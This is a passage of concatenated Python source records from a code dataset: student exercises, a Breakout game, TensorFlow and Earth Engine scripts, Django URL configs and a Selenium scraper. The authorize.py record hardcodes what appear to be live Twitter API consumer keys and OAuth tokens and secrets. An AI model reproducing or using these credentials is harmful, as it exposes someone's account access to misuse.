status=status.HTTP_200_OK)\n","sub_path":"posts/views/post_comment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"281946063","text":"#!/usr/bin/env python3\n\ndonors = [\n [\"Galileo Galilei\", 348, 8377, 123],\n [\"Giovanni Cassini\", 209],\n [\"Christiaan Huygens\", 9135, 39],\n [\"Edmond Halley\", 399, 1100, 357],\n [\"Edwin Hubble\", 1899]\n ]\n\n\ndef menu():\n print(\"\\n------------------ MENU ------------------\\n\")\n print(\"PLEASE CHOOSE FROM THE FOLLOWING THREE OPTIONS\\n\")\n print(\"1. Send Thank You\\n2. Create a Report\\n3. Quit\\n\")\n\n # the 'option' function calls an appropriate function based on user input\n def options():\n # save user input to 'choice' as a lowercase string\n choice = input(\"-> \").lower()\n # user input can be a number or a string\n # if its a string, just look at the first letter\n if choice[0] == '1' or choice[0] == 's':\n thankyou()\n elif choice[0] == '2' or choice[0] == 'c':\n report()\n elif choice[0] == '3' or choice[0] == 'q':\n print(\"quiting\")\n quit()\n else:\n # if the user input does not match one of the 3 options,\n # call the menu function again\n menu()\n\n options()\n\n\ndef thankyou():\n global donors\n print(\"\\n------------------ THANK YOU ------------------\\n\")\n print(\"- type 'list' to to see a complete list of donors -\")\n print(\"- type 'menu' at any time to return to the menu -\\n\")\n\n # simple function to list all the donors\n # calls the 'thankyou' function at the end to ask for user input\n def list():\n print(\"\\n------------------ DONOR LIST ------------------\\n\")\n\n for name in donors:\n print(name[0])\n\n thankyou()\n\n # asks for a name from the user, or for the 'list' prompt\n name_check = input(\"Enter first and last name of a donor\\n\\n-> \").lower()\n\n if name_check == 'menu':\n menu()\n if name_check == 'list':\n list()\n else:\n name_loc = 0\n\n for name in donors:\n if name_check == name[0].lower():\n break\n name_loc += 1\n\n\n # promp the user for a donation amount\n donation = input(\"What is the donation amount? -> \")\n if donation == 'menu':\n menu()\n donation = float(donation)\n if name_loc == len(donors):\n donors.append([name_check.title()])\n donors[name_loc].append(donation)\n\n print(\"\\n---------------------------------------------\\n\")\n print((\"\\nDear {},\\n\\nYou rock.\\nYour fat contribution\" +\n \" of ${:,.2f}\\nwill go a long way to lining my pockets.\" +\n \"\\n\\nSincerely,\" +\n \"\\nScrooge McDuck\").format(donors[name_loc][0], donation))\n\n menu()\n\n\ndef report():\n print(\"\\n-------------------- REPORT --------------------\\n\")\n\n column = [\"Donor Name\", \"| Total Given\", \"| Num Gifts\", \"| Average Gift\"]\n name_loc = 0\n donors_report = []\n\n for name in donors:\n sum_don = sum(donors[name_loc][1:])\n num_don = len(donors[name_loc])-1\n ave_don = sum_don / num_don\n donors_report += [[donors[name_loc][0], sum_don, num_don, ave_don]]\n name_loc += 1\n\n # sorts the donors report by the second column \"donation[1] using 'lambda'\n # and reverses the order from largest to smallest\n donors_report.sort(key=lambda donation: donation[1], reverse=True)\n\n print(\"{:<15}{:>17}{:>15}{:>10}\".format(*column))\n print(\"---------------------------------------------------------------\")\n\n # loops through 'donors_report' and\n # dumps all values for 'name' into .format\n for name in donors_report:\n print('{:<20} ${:>13.2f}{:>12} ${:>10.2f}'.format(*name))\n\n menu()\n\n\nif __name__ == '__main__':\n menu()\n","sub_path":"students/idcrickmore/lesson03/mailroom.py","file_name":"mailroom.py","file_ext":"py","file_size_in_byte":3710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"589449852","text":"import json\nimport os\nimport csv\nimport pandas as pd\nimport numpy as np\nimport gzip\nimport sys\nfrom collections import OrderedDict\nimport sys\nimport sqlite3\n\n\ndef loadReproData(filename):\n\n # Create xl file\n xlFile = pd.ExcelFile(filename)\n\n # Create Ordered dictionnary\n pre_repro_data = {\n sheet_name: xlFile.parse(sheet_name)\n for sheet_name in xlFile.sheet_names\n }\n\n # Reorganize dictionnary to create output\n pre_repro_data = pre_repro_data['MHC long range associations']\n repro_data = list()\n for val in pre_repro_data.values:\n repro_data.append(np.ndarray.tolist(val))\n\n return repro_data\n\ndef GzipFileHandler(FileName, Read=True):\n\n # If file is in gz format\n if '.gz' in FileName:\n if Read is True:\n OpenFile = gzip.open(FileName, 'rt', newline='')\n\n else:\n OpenFile = gzip.open(FileName, 'wb')\n\n # Else open in text format\n else:\n if Read is True:\n OpenFile = open(FileName, 'r')\n\n else:\n OpenFile = open(FileName, 'w')\n\n return OpenFile\n\ndef rsID2CHRnum(repro_data, options):\n\n # Connect to SQL dataset containing rsID and CHR number\n conn = sqlite3.connect(options[\"file\"][\"refdb\"])\n cur = conn.cursor()\n cur.execute(\"SELECT name FROM sqlite_master WHERE type='table';\")\n cursor = conn.execute('select * from refvariants')\n\n # Print: verbose\n print(\"Converting rsID to chromosome number. This might take several minutes.\")\n\n # For each rsID in dataset, find if in reproData and take CHR number\n rsIds = np.array([item[1] for item in repro_data])\n for row in cursor:\n if row[1] in rsIds:\n\n # Find idx and append chromosome number at the beginning \n idxs = np.where(rsIds == row[1])[0][0]\n for idx in np.nditer(idxs):\n repro_data[idx].insert(0, row[2])\n\n # Save data\n with open(\"Data/checkReproDataMod.csv\" , 'w') as outFile:\n writer = csv.writer(outFile)\n writer.writerows(repro_data)\n print(\"rsID successfully converted to chromosome number\")\n\n return repro_data\n \n\ndef getMatches(repro_data, options):\n\n # Open data from chromosome\n CHR_openFile = GzipFileHandler(options['file']['chrData'])\n\n # Reformat repro_data\n\n # Get positions \n snp_pos = np.asarray([item[3] for item in repro_data])\n\n # For each SNP of the AA data, check if it matches the position of the chromosome\n # Run first with dicts, change to list of lists and see if there is any difference\n matches = list()\n print(\"Checking matches reproducibility. This might take several minutes\")\n for snp in CHR_openFile:\n\n # Find if there is a match in the SNP position\n if snp.split(\",\")[0] in snp_pos:\n\n # Find the idxs\n idxs = np.where(snp_pos == snp.split(\",\")[0]) \n\n # For each position match\n for idx in np.nditer(idxs):\n\n # Check if the gene matches as well and append\n if repro_data[idx][1] in snp.split(',')[1]:\n if '&' not in snp.split(',')[1]:\n print(\"Position %s matches with gene %s as %s\" % (repro_data[idx][3], repro_data[idx][1], snp.split(',')[1]))\n matches.append([repro_data[idx][3], repro_data[idx][1]] + snp.split(\",\")[1:] )\n \n print(\"Reproducibility checked\")\n print(\"Number of matches found: %i\" % len(matches))\n\n # Save matches \n with open('reproOutput/matches.csv', 'w' ) as matches_out:\n writer = csv.writer(matches_out)\n writer.writerows(matches)\n \n repro_per = len(matches) * 100 / len(repro_data) \n print(\"The percentage of reproducibility is \" + \"{:.2%}\".format(repro_per/100))\n \n\ndef main():\n\n # Load options\n with open(\"optionsCheck.json\", 'r') as jsonFile:\n options = json.load(jsonFile)\n\n # If reproducibility data not processed, then process. Else load\n if \"checkReproDataMod.csv\" not in os.listdir(options['folder']['Data']):\n\n # Load original \"reproducibility data\"\n repro_data = loadReproData(options['file'][\"checkRepro\"])\n\n # Convert rsID to chromosume number\n repro_data = rsID2CHRnum(repro_data, options)\n else:\n print(\"Reproducibility data loaded\")\n with open(options['file']['reproDatamod'], 'r') as infile:\n csv_reader = csv.reader(infile)\n repro_data = list()\n for row in csv_reader:\n repro_data.append(row)\n\n\n # Get matches\n getMatches(repro_data, options)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"checkRepro.py","file_name":"checkRepro.py","file_ext":"py","file_size_in_byte":4620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"57190723","text":"# authorizing an application using OAuth authentication - Example 1\nimport twitter\n\n# XXX: Go to http://dev.twitter.com/apps/new to create an app and get values\n# for these credentials, which you'll need to provide in place of these\n# empty string values that are defined as placeholders.\n# See https://dev.twitter.com/docs/auth/oauth for more information\n# on Twitter's OAuth implementation.\n\n# fill the parameters for login first\ndef oauth_login():\n CONSUMER_KEY = 'oCTWWczTJuoGpTMFJaQWv0HhP'\n CONSUMER_SECRET ='nabcbzCgt8nU3QbxkIsSXxx6LLQBMI4EMLuHuJDHuZ6xB5PZQ4'\n OAUTH_TOKEN = '4859210933-axKkVKHXpC1BQtQEFlHM3eD6znG6RF57GDKYnec'\n OAUTH_TOKEN_SECRET = '3eHQcVSoDwJtcZWIiSKnuKc4FOci2rN9j5XiUQ6m3tOwd'\n\n auth = twitter.oauth.OAuth(OAUTH_TOKEN, OAUTH_TOKEN_SECRET,\n CONSUMER_KEY, CONSUMER_SECRET)\n\n twitter_api = twitter.Twitter(auth=auth)\n\n # Nothing to see by displaying twitter_api except that it's now a\n # defined variable\n\n return twitter_api\n","sub_path":"CaseStudy1/src_code/authorize.py","file_name":"authorize.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"169065174","text":"import pygame\n\nfrom pygame.math import Vector2\nfrom pygame import Rect\n\nclass Block:\n \"\"\"\n Base class for square or rectangular object\n \"\"\"\n\n def __init__(self, position, width, height, color):\n # Create a rectangle centered around the x and y\n self.position = position\n self.rectangle = pygame.Rect(\n self.position.x - (width/2),\n self.position.y - (height/2),\n width,\n height)\n self.color = color\n self.touched_by_ball = False\n\n\n def update(self, **kwargs):\n self.touched_by_ball = False\n\n def check_collision(self):\n pass\n\n def draw(self, screen, pygame):\n pygame.draw.rect(screen, self.color, self.rectangle)\n\nclass Paddle():\n def __init__(self, bounds, position, width, height, color):\n # Create a rectangle centered around the x and y\n self.bounds = bounds\n self.position = position\n self.width = width\n self.height = height\n self.rectangle = pygame.Rect(\n self.position.x - (self.width/2),\n self.position.y - (self.height/2),\n self.width,\n self.height)\n self.color = color\n self.touched_by_ball = False\n\n def update(self):\n self.touched_by_ball = False\n if pygame.key.get_pressed()[pygame.K_LEFT] == True:\n if self.position.x <= 0 + self.width/2:\n self.position.x += 1\n else:\n self.position.x += -3\n self.rectangle = pygame.Rect(\n self.position.x - 3 - (self.width/2),\n self.position.y - (self.height/2),\n self.width,\n self.height)\n \n if pygame.key.get_pressed()[pygame.K_RIGHT] == True:\n if self.position.x >= self.bounds[0] - self.width/2:\n self.position.x += -1\n else:\n self.position.x += 3\n self.rectangle = pygame.Rect(\n self.position.x + 3 - (self.width/2),\n self.position.y - (self.height/2),\n self.width,\n self.height)\n\n def check_collision(self):\n pass\n\n def draw(self, screen, pygame):\n pygame.draw.rect(screen, self.color, self.rectangle)\n\nclass KineticBlock(Block):\n # No custom code needed here, just want to be able to differentiate\n # KineticBall will handle the collison\n def __init__(self, object_list, position, width, height, color):\n self.object_list = object_list\n super().__init__(position, width, height, color)\n\n def update(self):\n if self.touched_by_ball == True:\n self.object_list.remove(self)\n\nclass StrongKineticBlock(KineticBlock):\n def __init__(self, object_list, position, width, height, color, strength):\n self.strength = strength\n super().__init__(object_list, position, width, height, color)\n\n def update(self):\n if self.touched_by_ball == True:\n if self.strength == 0:\n self.object_list.remove(self)\n else:\n self.strength -= 1\n self.color[0] = (self.color[0] + 100) % 256\n self.color[1] = (self.color[1] - 100) % 256\n self.color[2] = (self.color[2] + 50) % 256\n self.touched_by_ball = False\n\n \n","sub_path":"src/block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":3739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"512671891","text":"import trainer.input_pipeline as ip\nimport trainer.model as m\nimport trainer.eval_listener as h\nimport trainer.update_lr_hook as lr\nimport trainer.training_util as u\nimport tensorflow as tf\nimport os\nimport time\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\ndef run(train_filename, eval_filename, layers_layout, chkpt_dir, event_dir, training_program):\n\n num_epochs = u.get_epochs(training_program)\n\n features, labels = ip.input_pipeline(\n train_filename,\n num_epochs,\n batch_size=50,\n shuffle=False)\n\n train_op, global_step = m.cnn_model(features, labels, layers_layout, keep_prob=1)\n\n current_dt = time.strftime(\"%Y%m%d-%H%M%S\")\n file_writer = tf.summary.FileWriter(\n os.path.join(event_dir, current_dt + '-eval-train'),\n train_op.graph)\n summary_op = tf.summary.merge_all(\"debug\")\n\n init_op = tf.group(tf.global_variables_initializer(),\n tf.local_variables_initializer())\n\n chpkt_listener = h.EvalCheckpointSaverListener(\n layers_layout,\n eval_filename,\n chkpt_dir,\n event_dir\n )\n\n # create hook that updates the learning rate after each epoch\n # the learning rate decay is defined in the 'training_program'\n update_lr_hook = lr.UpdateLrSessionRunHook(\n training_program,\n tf.get_default_graph()\n )\n\n chkpt_hook = tf.train.CheckpointSaverHook(\n chkpt_dir,\n save_steps=500,\n listeners=[chpkt_listener]\n )\n\n scaf = tf.train.Scaffold(init_op=init_op)\n\n with tf.train.SingularMonitoredSession(hooks=[chkpt_hook, update_lr_hook], scaffold=scaf) as sess:\n while not sess.should_stop():\n _, summ, gs = sess.run([train_op, summary_op, global_step])\n file_writer.add_summary(summ, global_step=gs)\n # fc5, lab = sess.run([\"full5/BiasAdd:0\", \"lab_run:0\", train_op])[0:2]\n # print(fc5.dtype, lab.dtype)\n # feat = sess.run([\"input_pipeline/feat:0\", train_op])[0:1]\n # print(feat)\n\n \"\"\"\n # Create a session for running operations in the Graph.\n sess = tf.Session()\n # Initialize variables\n sess.run(init_op)\n # sess.run(tf.initialize_all_variables())\n\n # Start input enqueue threads.\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n\n try:\n while not coord.should_stop():\n # Run training steps or whatever\n _, gs = sess.run([train_op, global_step])\n print(\"Global step is\", gs)\n\n except tf.errors.OutOfRangeError:\n print('Done training -- epoch limit reached')\n finally:\n # When done, ask the threads to stop.\n coord.request_stop()\n\n # Wait for threads to finish.\n coord.join(threads)\n sess.close()\n \"\"\"\n\n\n# define our CNN model layout\nlayers = [{\"type\": \"conv\", \"filter_size\": 5, \"depth\": 6, \"mp_size\": 2},\n {\"type\": \"conv\", \"filter_size\": 5, \"depth\": 16, \"mp_size\": 2},\n {\"type\": \"drop\"},\n {\"type\": \"full\", \"units\": 120, \"activation\": True},\n {\"type\": \"full\", \"units\": 84, \"activation\": True},\n {\"type\": \"full\", \"units\": 10, \"activation\": False}]\n\nmy_training_program = [{\"lr\": 1E-3, \"epochs\": 2},\n {\"lr\": 5E-4, \"epochs\": 2},\n {\"lr\": 1E-4, \"epochs\": 2}]\n\nmy_chkpt_dir = \"C:/Users/Timo/PycharmProjects/Kaggle/MNIST/tf-model-checkpoint\"\nmy_event_dir = \"C:/Users/Timo/PycharmProjects/Kaggle/MNIST/tf-event-files\"\n\nmy_train_file = \"C:/Users/Timo/PycharmProjects/Kaggle/MNIST/data/train.csv\"\nmy_eval_file = \"C:/Users/Timo/PycharmProjects/Kaggle/MNIST/data/eval.csv\"\nrun(my_train_file, my_eval_file, layers, my_chkpt_dir, my_event_dir, my_training_program)\n","sub_path":"tensorflow-reading-pipeline/trainer/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":3740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"125377494","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^signin$', views.signin),\n url(r'^signup$', views.register),\n url(r'^newUser$', views.new_user),\n url(r'^login$', views.user_login),\n url(r'^admin$', views.login_as_admin),\n url(r'^admin/login$', views.admin_login),\n url(r'^logout$', views.user_logout),\n]","sub_path":"Python_stack/django/django_full_stack/FirstProj/apps/my_users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"328195021","text":"from selenium import webdriver\n\n# selennium和浏览器进行交互需要谷歌浏览器的驱动\n# 这里会打开谷歌浏览的\ndriver = webdriver.Chrome(r'D:\\chromedriver.exe')\n\ndriver.get('http://www.51job.com')\n\n# 选择界面元素,即选择搜索框元素框\nele = driver.find_element_by_id('kwdselectid')\n\n# 往输入框里面写python\nele.send_keys('python')\n\n# 选择地区,它是一个下拉框\nposition = driver.find_element_by_id('work_position_input')\n\n# 点击地区\nposition.click()\n\n# 先点击被选中的地区:css选择器,选择id为 ...list_000000 的em元素,并且class = on 的元素\neles = driver.find_elements_by_css_selector('#work_position_click_center_right_list_000000 em[class=on]')\n\nprint(eles)\n# 然后把选中的元素,再点击一下,再点一下为未选中\nfor ele in eles:\n ele.click()\n\n# 然后过去到广州这个元素,点击它\ndriver.find_element_by_id('work_position_click_center_right_list_category_000000_030200').click()\n\n# 找到确定按钮,并点击\ndriver.find_element_by_id('work_position_click_bottom_save').click()","sub_path":"1选择元素/1.测试51job.py","file_name":"1.测试51job.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"127959773","text":"import random\nimport views as v\n\n#######################################\n# text bubble talk\n#######################################\n# \n# \n# \n\ndef greeting():\n\tgreetings = [\n\t\t'Curious how it works? ',\n\t\t'Not sure where to start? ',\n\t\t'Not sure what to ask? ',\n\t]\n\treturn random.choice(greetings)\n\ndef example():\n\texamples =[\n\t\t'Try \"What\\'s the average acceleration of an object that starts from rest and reaches 15 m/s in 4 s?\"',\n\t]\n\treturn random.choice(examples)\n\ndef error(type):\n\tapologies = [\n\t\t\"Sorry, \",\n\t\t\"Yikes, \",\n\t\t\"Hmm, \",\n\t]\n\tgeneric_explanation = [\n\t\t\"I'm having trouble with this problem! Try again?\",\n\t\t\"Something went wrong!\",\n\t]\n\tbad_objective = [\n\t\t\"I don't know how to solve this problem!\",\n\t\t\"I don't have enough information to answer this problem! \",\n\t\t\"I don't understand this problem! Try again?\",\n\t]\n\tbad_input = [\n\t\t\"I'm having trouble with the numbers you gave me — try again?\",\n\t\t\"I don't understand the numbers you gave me — try again?\",\n\t]\n\n\tif type==\"generic\": return random.choice(apologies) + random.choice(generic_explanation)\n\telif type==\"bad_objective\": return random.choice(apologies) + random.choice(bad_objective)\n\telif type==\"bad_input\": return random.choice(apologies) + random.choice(bad_input)\n\ndef success_initial():\n\tsuccess_list = [\n\t\t\"Sounds good! \",\n\t\t\"Excellent! \",\n\t\t\"Not bad! \",\n\t\t\"Good stuff! \",\n\t]\n\texplain_list = [\n\t\t\"Here's what I got: \",\n\t\t\"Here's what I understand: \",\n\t\t\"Here's what I got from that: \",\n\t]\n\treturn random.choice(success_list)+random.choice(explain_list)\n\ndef success_followup():\n\tsuccess_list = [\n\t\t\"Thanks for clarifying! \",\n\t\t\"Thanks for the help! \",\n\t\t\"Ok, we're in business! \",\n\t\t\"Woot. Thanks for clearing that up! \",\n\t]\n\texplain_list = [\n\t\t\"Here's what I got: \",\n\t\t\"Here's what I understand: \",\n\t\t\"Here's what I got from that: \",\n\t]\n\treturn random.choice(success_list)+random.choice(explain_list)\n\ndef missing_info():\n\treturn \"Hmm...missing some information:\"\n\t\ndef missing_info_initial():\n\tprintMessage = \"Let's go through these one-by-one.\"\n\tif v.has_followup():\n\t\tkeyword = v.get_followup()[0]\n\t\tprintMessage += \" What's the object's \" + str(keyword) + \"?\"\n\telse:\n\t\tprintMessage = \"\"\n\treturn printMessage\n\ndef missing_info_followup():\n\tprintMessage = \"Ok, a few more.\"\n\tif v.has_followup():\n\t\tkeyword = v.get_followup()[0]\n\t\tprintMessage += \" What's the object's \" + str(keyword) + \"?\"\n\telse:\n\t\tprintMessage = \"\"\n\treturn printMessage\n\n\n#######################################\n# solution page talk\n#######################################\n# \n# \n# \ndef inputs(inputs):\n\tinput_strings = [\n\t\t\"We're given the object's \" + print_list(inputs, 'keyword') + \". \", \n\t\t\"We start with what we know. We're given the object's \" + print_list(inputs, 'keyword') + \". \"\n\t]\n\treturn random.choice(input_strings)\n\ndef conversion(converted_inputs):\n\tconversion_true = [\n\t\t\"We'll have to convert \" + print_list(converted_inputs, 'keyword') + \" to standard units before we go any further.\",\n\t\t\"But, before we go further, we'll need to convert \" + print_list(converted_inputs, 'keyword') + \" to standard units.\"\n\t\t# ADVANCED convert minutes to hours\n\n\t]\n\tconversion_false= [\n\t\t\"A quick check of our units confirms that everything's already in standard units.\",\n\t\t\"Always remember to do a quick check of units — looks like all our quantities are already in their correct units.\",\n\t\t# velocity is given in meters per second, acceleration in meters per second squared, and time in seconds.\n\t\t# Both are in the correct units force is given in Newtons and mass is given in kilograms.\n\t]\n\tif len(converted_inputs) > 0: return random.choice(conversion_true)\n\telse: return random.choice(conversion_false)\n\ndef hints(hints):\n\treturn \"We're also told that the object \" + print_list(hints, 'hint') + \", so we can infer: \"\n\n\ndef explanation_initial(obj, explanation):\n\texplanation_exists = [\n\t\t\"We're asked to solve for the \" + str(obj.get('objective', '')) + \" — and \" + str(explanation),\n\t]\n\texplanation_dne = [\n\t\t\"We're asked to solve for the \" + str(obj.get('objective', '')) + \" — which we know can be found using the equation below:\",\n\t\t\"We're asked to solve for the \" + str(obj.get('objective', '')) + \" — and we can use the equation below to find it:\",\n\t\t# ADVANCED list inputs <=> objective\n\t]\n\tif(explanation): return random.choice(explanation_exists)\n\telse: return random.choice(explanation_dne)\n\n\ndef plug_chug():\n\tclosing_statements = [\n\t\t\"We can now plug in our known values to find a solution:\",\n\t\t\"From here, it's easy. We plug our known values into this equation to find our solution:\",\n\t]\n\treturn random.choice(closing_statements)\n\ndef divide_by_zero():\n\treturn \"Dude I can't divide by zero\"\n\ndef sqrt_of_negative():\n\treturn \"Dude I can't take teh sqrt of a negative no\"\n\ndef not_possible(type):\n\t# if type: net_force smaller than accel => \n\treturn \"Dude it is not possible \"\n\ndef print_list(list, keyword):\n result = \"\"\n if len(list) == 0: return \"\"\n elif len(list) == 1: result = list[0].get(keyword, '')\n elif len(list) == 2: result = list[0].get(keyword, '') + \" and \" + list[1].get(keyword, '')\n elif len(list) > 2:\n for x in range(0, len(list)-1):\n result += list[x].get(keyword, '') + \", \"\n result += \"and \" + list[x+1].get(keyword, '')\n return result;","sub_path":"hello/app_speak.py","file_name":"app_speak.py","file_ext":"py","file_size_in_byte":5298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"552677136","text":"from environment import environment\nimport sys\nsys.path.append('../Training')\nfrom addCovariates import addCovariates\nimport ee\n\nclass classify(object):\n def __init__(self, year, primitive):\n ee.Initialize()\n self.envs = environment()\n self.year = str(year)\n self.primitive = primitive\n\n def getCovariateImage(self, year):\n return addCovariates().runModelYearly(self.envs.repositoryYearly, year)\n\n def reclassSampledPoints(self, trainingPoints, inputLandClass, primitive):\n def remapClassValues(feature):\n return feature.set('land_class', 1)\n\n def remapOtherValues(feature):\n return feature.set('land_class', 0)\n\n wa = trainingPoints.filter(ee.Filter.eq(inputLandClass, primitive)).map(remapClassValues)\n ot = trainingPoints.filter(ee.Filter.neq(inputLandClass, primitive))\n ot = ot.randomColumn('random').limit(wa.size(), 'random')\n ot = ot.map(remapOtherValues)\n\n mergedPoints = wa.merge(ot)\n\n return mergedPoints\n\n def classifyImage(self, covImage, sampledPoints):\n boundary = self.envs.boundary\n bandNames = covImage.bandNames().remove('land_class')\n classifier = ee.Classifier.randomForest(self.envs.numberOfTrees) \\\n .setOutputMode('PROBABILITY') \\\n .train(features = sampledPoints,classProperty = 'land_class',inputProperties = bandNames)\n\n classifiedImage = covImage.clip(boundary).classify(classifier)\n\n # confusionMatrix = classifier.confusionMatrix()\n\n return classifiedImage\n\n def exportImage(self, image, year, primitive):\n image = image.multiply(10000).toUint16()\n year = str(year)\n task = ee.batch.Export.image.toAsset(\n image = image,\n description= 'Export-' + primitive + '-' + year,\n assetId= self.envs.repositoryYearly + 'primitives/' + primitive + '-' + year,\n region= self.envs.boundary['coordinates'],\n scale= self.envs.exportScale,\n maxPixels = 1e13\n )\n\n task.start()\n print(\"Started exporting \", self.envs.repositoryYearly + 'primi/' + primitive + '-' + year )\n\n def runModel(self):\n covImage = self.getCovariateImage(self.year)\n trainingPoints = self.reclassSampledPoints(self.envs.sampledPointsYearly,\\\n self.envs.inputLandClass,\\\n self.primitive)\n # print(sampledPoints.size().getInfo())\n classifiedImage = self.classifyImage(covImage, trainingPoints)\n self.exportImage(classifiedImage, self.year, self.primitive)\n\nif (__name__ == '__main__'):\n # year = 2014\n # primitive = 'cropland'\n # classify(year, primitive).runModel()\n for year in range (2000, 2018):\n classify(year, 'cropland').runModel()\n classify(year, 'wetland').runModel()\n classify(year, 'forest').runModel()\n classify(year, 'settlement').runModel()\n classify(year, 'otherland').runModel()\n classify(year, 'grassland').runModel()","sub_path":"Classification/mainYearly.py","file_name":"mainYearly.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"557090655","text":"'''\n给你一个二叉树,请你返回其按 层序遍历 得到的节点值。 (即逐层地,从左到右访问所有节点)。\n二叉树:[3,9,20,null,null,15,7],\n链接:https://leetcode-cn.com/problems/binary-tree-level-order-traversal\n\n107. 二叉树的层次遍历 II\n给定一个二叉树,返回其节点值自底向上的层次遍历。 (即按从叶子节点所在层到根节点所在的层,逐层从左向右遍历)\n\n俩题解题思路类似,只是返回值不同\n'''\nfrom typing import *\nfrom collections import deque\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def levelOrder(self, root: TreeNode) -> List[List[int]]:\n '''\n BFS,使用优先级队列来保存节点\n :param root:\n :return:\n '''\n queue = deque()\n queue.append(root)\n res=[]\n while queue:\n size = len(queue)\n level = []\n # 遍历当前层\n for _ in range(size):\n cur = queue.popleft()\n # 如果当前节点为空,continue\n if not cur:\n continue\n level.append(cur.val)\n queue.append(cur.left)\n queue.append(cur.right)\n if level:\n res.append(level)\n return res\n\n def levelOrder2(self, root: TreeNode) -> List[List[int]]:\n dq = deque()\n res = []\n dq.append(root)\n while dq:\n size = len(dq)\n level =[]\n for _ in range(size):\n tmp =dq.popleft()\n if tmp:\n level.append(tmp.val)\n dq.append(tmp.left)\n dq.append(tmp.right)\n if level:\n res.append(level)\n return res\n\n","sub_path":"code/29_二叉树的层序遍历.py","file_name":"29_二叉树的层序遍历.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"307964227","text":"\"\"\"nails_web URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls import url, include\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom NAILS.views import AllFurnitureView, UserView, CurrentUser, UserCartView, OrderView, NoUserOrderView,\\\n WishlistView, BrickView, NewsletterView, LastOrderView, P24ValidationView, P24StatusView, SliderView\nfrom django.urls import path\nfrom rest_framework_jwt.views import obtain_jwt_token\nfrom rest_framework import routers\n\nrouter = routers.SimpleRouter()\nrouter.register(r'api/allfurniture', AllFurnitureView, 'all-furniture')\nrouter.register(r'api/bricks', BrickView, 'bricks')\nrouter.register(r'api/sliders', SliderView, 'sliders')\nrouter.register(r'api/newsletter', NewsletterView, 'newsletter')\nrouter.register(r'api/last_order', LastOrderView, 'last-order')\nrouter.register(r'api/validate_p24_status', P24ValidationView, 'p24-validate')\nrouter.register(r'api/przelewy_24_status', P24StatusView, 'p24-status')\n\nurlpatterns = [\n path('admin/', include('admin_honeypot.urls', namespace='admin_honeypot')),\n path('my_freaking_secret_admin/', admin.site.urls),\n path('api/auth/', include('rest_framework.urls')),\n path('token-auth/', obtain_jwt_token),\n url('api/current_user/', CurrentUser.as_view(), name='current-user'),\n url('api/create_user/', UserView.as_view({'post': 'create'}), name='create-user'),\n url('api/wishlist/', WishlistView.as_view({'post': 'create'}), name='add-to-wishlist'),\n url('api/user_cart/', UserCartView.as_view({'get': 'list', 'post': 'create'}), name='user-cart'),\n url('api/user_orders/', OrderView.as_view({'get': 'list', 'post': 'create'}), name='user-orders'),\n url('api/no_user_orders/', NoUserOrderView.as_view({'get': 'list', 'post': 'create'}), name='no-user-orders')\n]\n\nurlpatterns += router.urls\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"nails_web/nails_web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"480871334","text":"# recursion\n\ndef factorial(n):\n if (n == 1):\n return 1\n else:\n return n * factorial(n-1)\n\nprint(factorial(4))\n\ndef fibonacci(n):\n fibonacci.counter += 1\n if (n == 0) or (n == 1):\n return 1\n else:\n return fibonacci(n-1) + fibonacci(n-2)\n\nfibonacci.counter = 0\nprint(fibonacci(24))\n\ndef is_Palindrome(s):\n\n def toChars(s):\n s = s.lower()\n ans = ''\n for c in s:\n if c in 'abcdefghijklmnopqrstuvwxyz':\n ans = ans + c\n return ans\n\n def isPal(s):\n if len(s) < 1:\n return True\n else:\n return s[0] == s[-1] and isPal(s[1:-1])\n\n return isPal(toChars(s))\n\n# dictionaries\n\nmy_dict = {}\nmy_dict = {\n 'Ana': 'A',\n 'John': 'B+',\n 'Kub': 'A+'\n}\n\nmy_dict['Ed'] = 'A'\n\nprint(my_dict['John'])\nprint('Daniel' in 